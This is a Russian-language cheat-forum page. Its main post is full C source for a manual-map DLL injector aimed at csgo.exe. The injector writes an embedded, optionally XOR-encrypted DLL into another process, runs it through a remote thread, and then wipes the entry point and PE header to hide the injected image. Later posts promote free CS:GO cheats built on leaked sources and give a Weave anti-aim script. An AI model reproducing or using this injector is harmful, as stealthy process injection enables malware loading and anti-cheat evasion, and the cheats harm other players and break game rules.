Исходник Simple method inject

Поддерживает стирание PE-хедеров и точки входа.
Написана на языке C99.

  1. Загружает dll из массива байтов в памяти, без сохранения dll файла на диске
  2. Расшифровывает зашифрованный буфер dll
  3. Стирает DLLEntryPoint
  4. Стерает PE-хедер

CODE:
Развернуть Свернуть Копировать
#include <stdint.h>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

#define PROCESS_NAME L"csgo.exe" //Here enter where you are going to inject
#define ERASE_ENTRY_POINT    TRUE
#define ERASE_PE_HEADER      TRUE
#define DECRYPT_DLL          FALSE
#define SUCCESS_MESSAGE      TRUE


static
#if !DECRYPT_DLL
const
#endif

uint8_t binary[] = { //Your DLL as a byte array
0x4d, 0x5a, 0x80, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x10, 0x00, 0xff, 0xff, 0x00, 0x00,
0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
0x0e, 0x1f, 0xba, 0x0e, 0x00, 0xb4, 0x09, 0xcd, 0x21, 0xb8, 0x01, 0x4c, 0xcd, 0x21, 0x54, 0x68,
0x69, 0x73, 0x20, 0x70, 0x72, 0x6f, 0x67, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f,
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20, 0x44, 0x4f, 0x53, 0x20,
0x6d, 0x6f, 0x64, 0x65, 0x2e, 0x0d, 0x0a, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x50, 0x45, 0x00, 0x00, 0x4c, 0x01, 0x03, 0x00, 0x5c, 0x32, 0xe1, 0x5c, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x0e, 0x21, 0x0b, 0x01, 0x01, 0x49, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xf6, 0x66, 0x00, 0x00, 0x02, 0x00, 0x40, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x20, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

#if DECRYPT_DLL
VOID decryptBinary(LPWSTR key)
{
    SIZE_T keyLenth = wcslen(key);

    for (int i = 0; i < sizeof(binary); i++)
        binary[i] ^= key[i % keyLenth];
}
#endif

typedef struct
{
    PBYTE imageBase;
    HMODULE(WINAPI* loadLibraryA)(PCSTR);
    FARPROC(WINAPI* getProcAddress)(HMODULE, PCSTR);
    VOID(WINAPI* rtlZeroMemory)(PVOID, SIZE_T);
} LoaderData;

DWORD WINAPI loadLibrary(LoaderData* loaderData)
{
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(loaderData->imageBase + ((PIMAGE_DOS_HEADER)loaderData->imageBase)->e_lfanew);
    PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)(loaderData->imageBase
        + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    DWORD delta = (DWORD)(loaderData->imageBase - ntHeaders->OptionalHeader.ImageBase);

    while (relocation->VirtualAddress)
    {
        PWORD relocationInfo = (PWORD)(relocation + 1);
        for (int i = 0, count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); i < count; i++)
            if (relocationInfo[i] >> 12 == IMAGE_REL_BASED_HIGHLOW)
                *(PDWORD)(loaderData->imageBase + (relocation->VirtualAddress + (relocationInfo[i] & 0xFFF))) += delta;
        relocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)relocation + relocation->SizeOfBlock);
    }

    PIMAGE_IMPORT_DESCRIPTOR importDirectory = (PIMAGE_IMPORT_DESCRIPTOR)(loaderData->imageBase
        + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    while (importDirectory->Characteristics)
    {
        PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)(loaderData->imageBase + importDirectory->OriginalFirstThunk);
        PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)(loaderData->imageBase + importDirectory->FirstThunk);
        HMODULE module = loaderData->loadLibraryA((LPCSTR)loaderData->imageBase + importDirectory->Name);

        if (!module)
            return FALSE;

        while (originalFirstThunk->u1.AddressOfData)
        {
            DWORD Function = (DWORD)loaderData->getProcAddress(module, originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG ? (LPCSTR)(originalFirstThunk->u1.Ordinal & 0xFFFF) : ((PIMAGE_IMPORT_BY_NAME)((LPBYTE)loaderData->imageBase + originalFirstThunk->u1.AddressOfData))->Name);

            if (!Function)
                return FALSE;

            firstThunk->u1.Function = Function;
            originalFirstThunk++;
            firstThunk++;
        }
        importDirectory++;
    }

    if (ntHeaders->OptionalHeader.AddressOfEntryPoint) {
        DWORD result = ((DWORD(__stdcall*)(HMODULE, DWORD, LPVOID))
            (loaderData->imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint))
            ((HMODULE)loaderData->imageBase, DLL_PROCESS_ATTACH, NULL);

#if ERASE_ENTRY_POINT
        loaderData->rtlZeroMemory(loaderData->imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint, 32);
#endif

#if ERASE_PE_HEADER
        loaderData->rtlZeroMemory(loaderData->imageBase, ntHeaders->OptionalHeader.SizeOfHeaders);
#endif
        return result;
    }
    return TRUE;
}

VOID stub(VOID) {}

INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd)
{
    HANDLE processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (processSnapshot == INVALID_HANDLE_VALUE)
        return 1;

    HANDLE process = NULL;
    PROCESSENTRY32W processInfo;
    processInfo.dwSize = sizeof(processInfo);

    if (Process32FirstW(processSnapshot, &processInfo)) {
        do {
            if (!lstrcmpW(processInfo.szExeFile, PROCESS_NAME)) {
                process = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, processInfo.th32ProcessID);
                break;
            }
        } while (Process32NextW(processSnapshot, &processInfo));
    }
    CloseHandle(processSnapshot);

    if (!process)
        return 1;

#if DECRYPT_DLL
    INT argc;
    LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);

    for (INT i = 1; i < argc; i++) {
        if (!lstrcmpW(argv[i], L"-key")) {
            decryptBinary(argv[++i]);
            break;
        }
    }
    LocalFree(argv);
#endif

    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(binary + ((PIMAGE_DOS_HEADER)binary)->e_lfanew);
    PBYTE executableImage = VirtualAllocEx(process, NULL, ntHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(process, executableImage, binary,
        ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

    PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)(ntHeaders + 1);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)

        WriteProcessMemory(process, executableImage + sectionHeaders[i].VirtualAddress,
        binary + sectionHeaders[i].PointerToRawData, sectionHeaders[i].SizeOfRawData, NULL);

    LoaderData* loaderMemory = VirtualAllocEx(process, NULL, 4096, MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READ);

    LoaderData loaderParams;
    loaderParams.imageBase = executableImage;
    loaderParams.loadLibraryA = LoadLibraryA;
    loaderParams.getProcAddress = GetProcAddress;
    loaderParams.rtlZeroMemory = (VOID(NTAPI*)(PVOID, SIZE_T))GetProcAddress(LoadLibraryW(L"ntdll"), "RtlZeroMemory");

    WriteProcessMemory(process, loaderMemory, &loaderParams, sizeof(LoaderData),
        NULL);

    WriteProcessMemory(process, loaderMemory + 1, loadLibrary,
        (DWORD)stub - (DWORD)loadLibrary, NULL);

    WaitForSingleObject(CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)(loaderMemory + 1),
        loaderMemory, 0, NULL), INFINITE);

    VirtualFreeEx(process, loaderMemory, 0, MEM_RELEASE);

#if SUCCESS_MESSAGE
    CHAR buf[100];
    sprintf_s(buf, sizeof(buf), "Dll successfully loaded into %ws at 0x%x", PROCESS_NAME, (DWORD)executableImage);
    MessageBoxA(NULL, buf, "Success", MB_OK | MB_ICONINFORMATION);
#endif
    return TRUE;
}

Outdated [UPDATED] RaweTrip

RaweTrip - Бесплатный CS:GO чит, основанный на базе слитых сурсов LegendWare V3.

1643911385458.png

1643911412913.png

1643911448167.png

1643911461325.png

1643911516055.png
  1. Q: Где хранятся конфиги?
    A: %appdata%/rawetripp/Configs
  2. Q: Не показываются все иконки, что делать?
    A: Установить все шрифты из папки Fonts
  3. Q: Где скачать кфг?
    A: rawetrip || Config - RaweTrip Rage (HvH) CFG

Outdated [UPDATED] BACKMOVE

BACKMOVE - бесплатный CS:GO чит с передовыми функциями для игры на HvH серверах (Defensive DT, anti-defensive, Lean AA и др.)

1643963604738.png

1643963699218.png

1643963726296.png
1643963759028.png
  1. Q: Где хранятся конфиги?
    A: %appdata%/Backmove/Configs
  2. Q: Не показываются все иконки, что делать?
    A: Установить все шрифты из папки font
  3. Q: Не работают некоторые агенты
    A: Переместить все из папки extra в steamapps/common/Counter-Strike Global Offensive/csgo

JS [WEAVE] Pitch zero on land

Посмотрев api чита, я думал что это не возможно. Но один прикол спас, а иммено
JavaScript:
Развернуть Свернуть Копировать
entity.get_flags()
Так что вот для юзеров weave.
Добавил время, 1 - очень медленно, 10 - очень быстро
JavaScript:
Развернуть Свернуть Копировать
ui.add_checkbox("Pitch On Land", "pit_on_land")
ui.add_slider("Time To Count", "conunetr",0,10)
vars.set_int("js.conunetr", 4)
const groundCounter = 0;

const PitchZero = function() {
    if(!vars.get_bool("js.pit_on_land")) return;
    if(!entity.get_local_player()) return;

    const LocalPlayer = entity.get_local_player()
    const LocalPlayerFlags = entity.get_flags(LocalPlayer)

     if (LocalPlayerFlags == 256 || LocalPlayerFlags == 262) {
        groundCounter = 0;
    }

    if (LocalPlayerFlags == 257 || LocalPlayerFlags == 261 || LocalPlayerFlags == 263) {
        groundCounter = groundCounter + (vars.get_int("js.conunetr"));
    }
 
    if (groundCounter > 5 && groundCounter < 250) {
        vars.set_int("antiaim.pitch", 0)
    } else {
        vars.set_int("antiaim.pitch", 2)
    }
}
register_callback("render", PitchZero)

Пользователи онлайн

Статистика форума

Темы
29,181
Сообщения
187,203
Пользователи
129,132
Новый пользователь
enzotaiki
Назад
Сверху Снизу